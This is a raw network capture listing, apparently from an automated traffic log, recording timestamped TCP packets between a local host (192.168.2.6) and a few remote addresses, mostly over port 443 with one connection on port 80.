Dec 7, 2024 00:15:45.051155090 CET	49819	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:45.051179886 CET	49819	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:45.058993101 CET	443	49818	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:45.059014082 CET	443	49818	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:45.059056997 CET	49818	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:45.059068918 CET	443	49818	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:45.059102058 CET	49818	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:45.059120893 CET	49818	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:45.060734987 CET	443	49817	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:45.060755014 CET	443	49817	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:45.060854912 CET	49817	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:45.060866117 CET	443	49817	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:45.060875893 CET	49817	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:45.060904026 CET	49817	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:45.145123959 CET	443	49817	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:45.145153046 CET	443	49817	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:45.145203114 CET	49817	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:45.145226002 CET	443	49817	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:45.145241022 CET	49817	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:45.145322084 CET	49817	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:45.147581100 CET	443	49819	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:45.147603035 CET	443	49819	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:45.147644997 CET	49819	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:45.147653103 CET	443	49819	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:45.147682905 CET	49819	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:45.147696972 CET	49819	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:45.148956060 CET	443	49818	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:45.148991108 CET	443	49818	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:45.149038076 CET	49818	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:45.149054050 CET	443	49818	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:45.149075031 CET	49818	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:45.149091005 CET	49818	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:45.150859118 CET	443	49816	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:45.150887012 CET	443	49816	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:45.150924921 CET	49816	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:45.150935888 CET	443	49816	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:45.150969982 CET	49816	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:45.150988102 CET	49816	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:45.154973030 CET	443	49817	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:45.154992104 CET	443	49817	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:45.155060053 CET	49817	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:45.155072927 CET	443	49817	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:45.155184984 CET	49817	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:45.158703089 CET	443	49819	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:45.158723116 CET	443	49819	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:45.158773899 CET	49819	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:45.158781052 CET	443	49819	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:45.158817053 CET	49819	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:45.158835888 CET	49819	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:45.159758091 CET	443	49818	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:45.159790039 CET	443	49818	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:45.159843922 CET	49818	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:45.159858942 CET	443	49818	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:45.159878969 CET	49818	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:45.159904003 CET	49818	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:45.162507057 CET	443	49816	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:45.162539959 CET	443	49816	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:45.162570953 CET	49816	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:45.162581921 CET	443	49816	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:45.162606001 CET	49816	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:45.162621021 CET	49816	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:45.164349079 CET	443	49817	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:45.164371014 CET	443	49817	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:45.164407969 CET	49817	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:45.164413929 CET	443	49817	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:45.164439917 CET	49817	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:45.164459944 CET	49817	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:45.170485020 CET	443	49819	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:45.170502901 CET	443	49819	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:45.170558929 CET	49819	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:45.170566082 CET	443	49819	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:45.170583963 CET	49819	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:45.170605898 CET	49819	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:45.171224117 CET	443	49818	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:45.171247005 CET	443	49818	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:45.171295881 CET	49818	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:45.171305895 CET	443	49818	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:45.171327114 CET	49818	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:45.171353102 CET	49818	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:45.173131943 CET	443	49817	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:45.173149109 CET	443	49817	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:45.173190117 CET	49817	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:45.173198938 CET	443	49817	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:45.173214912 CET	49817	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:45.173522949 CET	49817	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:45.173578978 CET	443	49816	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:45.173600912 CET	443	49816	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:45.173635960 CET	49816	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:45.173645973 CET	443	49816	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:45.173666000 CET	49816	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:45.173686981 CET	49816	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:45.181626081 CET	443	49817	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:45.181646109 CET	443	49817	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:45.181699991 CET	49817	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:45.181705952 CET	443	49817	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:45.181742907 CET	49817	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:45.182153940 CET	443	49819	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:45.182173014 CET	443	49819	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:45.182210922 CET	49819	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:45.182216883 CET	443	49819	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:45.182248116 CET	49819	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:45.182260036 CET	49819	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:45.182701111 CET	443	49818	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:45.182723045 CET	443	49818	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:45.182754993 CET	49818	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:45.182768106 CET	443	49818	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:45.182782888 CET	49818	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:45.182799101 CET	49818	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:45.184837103 CET	443	49816	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:45.184863091 CET	443	49816	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:45.184895039 CET	49816	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:45.184904099 CET	443	49816	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:45.184927940 CET	49816	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:45.184948921 CET	49816	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:45.189815998 CET	443	49817	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:45.189831972 CET	443	49817	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:45.189887047 CET	49817	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:45.189892054 CET	443	49817	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:45.189925909 CET	49817	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:45.192420959 CET	443	49819	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:45.192440033 CET	443	49819	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:45.192496061 CET	49819	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:45.192502975 CET	443	49819	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:45.192624092 CET	49819	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:45.194325924 CET	443	49818	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:45.194344997 CET	443	49818	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:45.194386005 CET	49818	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:45.194400072 CET	443	49818	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:45.194422007 CET	49818	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:45.194449902 CET	49818	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:45.194761992 CET	443	49816	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:45.194783926 CET	443	49816	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:45.194818974 CET	49816	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:45.194827080 CET	443	49816	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:45.194854975 CET	49816	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:45.194870949 CET	49816	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:45.198890924 CET	443	49817	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:45.198911905 CET	443	49817	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:45.198976994 CET	49817	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:45.198982954 CET	443	49817	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:45.199105024 CET	49817	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:45.203720093 CET	443	49818	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:45.203739882 CET	443	49818	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:45.203792095 CET	49818	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:45.203805923 CET	443	49818	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:45.203844070 CET	49818	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:45.204284906 CET	443	49819	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:45.204318047 CET	443	49819	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:45.204344988 CET	49819	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:45.204360008 CET	443	49819	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:45.204385042 CET	49819	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:45.204401970 CET	49819	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:45.204792023 CET	443	49816	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:45.204827070 CET	443	49816	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:45.204849958 CET	49816	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:45.204859972 CET	443	49816	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:45.204886913 CET	49816	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:45.204901934 CET	49816	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:45.212281942 CET	443	49818	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:45.212304115 CET	443	49818	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:45.212362051 CET	49818	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:45.212376118 CET	443	49818	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:45.212407112 CET	49818	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:45.212424994 CET	49818	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:45.214103937 CET	443	49819	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:45.214121103 CET	443	49819	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:45.214168072 CET	49819	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:45.214186907 CET	443	49819	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:45.214260101 CET	49819	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:45.215364933 CET	443	49816	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:45.215394020 CET	443	49816	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:45.215425014 CET	49816	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:45.215435982 CET	443	49816	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:45.215459108 CET	49816	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:45.215540886 CET	49816	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:45.222054958 CET	443	49818	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:45.222081900 CET	443	49818	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:45.222122908 CET	49818	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:45.222136021 CET	443	49818	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:45.222157001 CET	49818	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:45.222174883 CET	49818	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:45.224878073 CET	443	49819	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:45.224900007 CET	443	49819	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:45.224947929 CET	49819	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:45.224965096 CET	443	49819	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:45.224991083 CET	49819	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:45.225009918 CET	49819	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:45.225438118 CET	443	49816	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:45.225475073 CET	443	49816	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:45.225508928 CET	49816	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:45.225522995 CET	443	49816	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:45.225555897 CET	49816	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:45.225577116 CET	49816	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:45.314485073 CET	443	49824	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:45.314565897 CET	443	49824	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:45.314726114 CET	49824	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:45.323409081 CET	49824	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:45.323425055 CET	443	49824	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:45.323448896 CET	49824	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:45.323455095 CET	443	49824	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:45.326870918 CET	49830	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:45.326929092 CET	443	49830	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:45.327007055 CET	49830	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:45.327366114 CET	49830	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:45.327388048 CET	443	49830	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:45.328304052 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:45.331043005 CET	443	49817	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:45.331065893 CET	443	49817	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:45.331159115 CET	49817	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:45.331167936 CET	443	49817	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:45.331284046 CET	49817	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:45.338013887 CET	443	49817	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:45.338031054 CET	443	49817	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:45.338119984 CET	49817	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:45.338130951 CET	443	49817	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:45.338345051 CET	49817	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:45.341708899 CET	443	49819	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:45.341738939 CET	443	49819	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:45.341788054 CET	49819	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:45.341794968 CET	443	49819	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:45.341857910 CET	49819	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:45.342128038 CET	443	49818	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:45.342156887 CET	443	49818	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:45.342214108 CET	49818	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:45.342228889 CET	443	49818	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:45.342241049 CET	49818	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:45.342272997 CET	49818	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:45.346086025 CET	443	49816	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:45.346117020 CET	443	49816	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:45.346180916 CET	49816	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:45.346190929 CET	443	49816	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:45.346225977 CET	49816	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:45.346241951 CET	49816	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:45.346427917 CET	443	49817	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:45.346445084 CET	443	49817	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:45.346492052 CET	49817	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:45.346499920 CET	443	49817	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:45.346512079 CET	49817	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:45.346535921 CET	49817	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:45.348078966 CET	443	49818	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:45.348157883 CET	49818	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:45.348165989 CET	443	49818	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:45.348201036 CET	443	49818	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:45.348243952 CET	49818	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:45.350127935 CET	443	49819	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:45.350153923 CET	443	49819	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:45.350202084 CET	49819	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:45.350208044 CET	443	49819	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:45.350239038 CET	49819	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:45.350258112 CET	49819	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:45.352994919 CET	443	49817	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:45.353013992 CET	443	49817	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:45.353091955 CET	49817	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:45.353097916 CET	443	49817	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:45.353358030 CET	49817	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:45.354234934 CET	443	49816	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:45.354265928 CET	443	49816	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:45.354305029 CET	49816	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:45.354315042 CET	443	49816	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:45.354341984 CET	49816	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:45.354362965 CET	49816	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:45.357263088 CET	49818	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:45.357274055 CET	443	49818	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:45.358549118 CET	443	49819	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:45.358571053 CET	443	49819	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:45.358613014 CET	49819	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:45.358620882 CET	443	49819	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:45.358654022 CET	49819	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:45.358676910 CET	49819	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:45.359898090 CET	443	49817	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:45.359918118 CET	443	49817	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:45.360104084 CET	49817	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:45.360110044 CET	443	49817	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:45.360172987 CET	49817	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:45.361884117 CET	443	49816	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:45.361917019 CET	443	49816	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:45.361948013 CET	49816	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:45.361963034 CET	443	49816	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:45.361988068 CET	49816	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:45.361999989 CET	49816	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:45.365700960 CET	443	49819	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:45.365717888 CET	443	49819	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:45.365799904 CET	49819	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:45.365808010 CET	443	49819	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:45.365844965 CET	49819	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:45.366311073 CET	443	49817	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:45.366328001 CET	443	49817	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:45.366394043 CET	49817	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:45.366400957 CET	443	49817	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:45.366677999 CET	49817	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:45.369625092 CET	443	49816	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:45.369648933 CET	443	49816	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:45.369734049 CET	49816	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:45.369745016 CET	443	49816	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:45.369832039 CET	49816	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:45.373619080 CET	443	49817	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:45.373634100 CET	443	49817	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:45.373637915 CET	443	49819	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:45.373655081 CET	443	49819	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:45.373734951 CET	49817	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:45.373742104 CET	443	49817	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:45.373773098 CET	49819	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:45.373773098 CET	49817	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:45.373780012 CET	443	49819	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:45.373970032 CET	49819	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:45.377886057 CET	443	49816	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:45.377914906 CET	443	49816	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:45.377991915 CET	49816	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:45.378002882 CET	443	49816	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:45.378170967 CET	49816	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:45.380467892 CET	443	49817	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:45.380481958 CET	443	49817	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:45.380565882 CET	49817	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:45.380570889 CET	443	49817	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:45.380758047 CET	49817	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:45.381911993 CET	443	49819	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:45.381931067 CET	443	49819	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:45.381989002 CET	49819	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:45.381995916 CET	443	49819	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:45.382031918 CET	49819	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:45.382050037 CET	49819	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:45.383682013 CET	443	49816	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:45.383709908 CET	443	49816	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:45.383768082 CET	49816	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:45.383776903 CET	443	49816	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:45.383812904 CET	49816	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:45.383832932 CET	49816	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:45.387089968 CET	443	49819	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:45.387109995 CET	443	49819	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:45.387185097 CET	49819	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:45.387191057 CET	443	49819	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:45.387444973 CET	49819	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:45.388019085 CET	443	49819	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:45.388077021 CET	49819	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:45.388082027 CET	443	49819	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:45.388123989 CET	443	49819	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:45.388124943 CET	49819	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:45.388679028 CET	49819	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:45.391156912 CET	443	49816	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:45.391191959 CET	443	49816	150.171.27.10	192.168.2.6
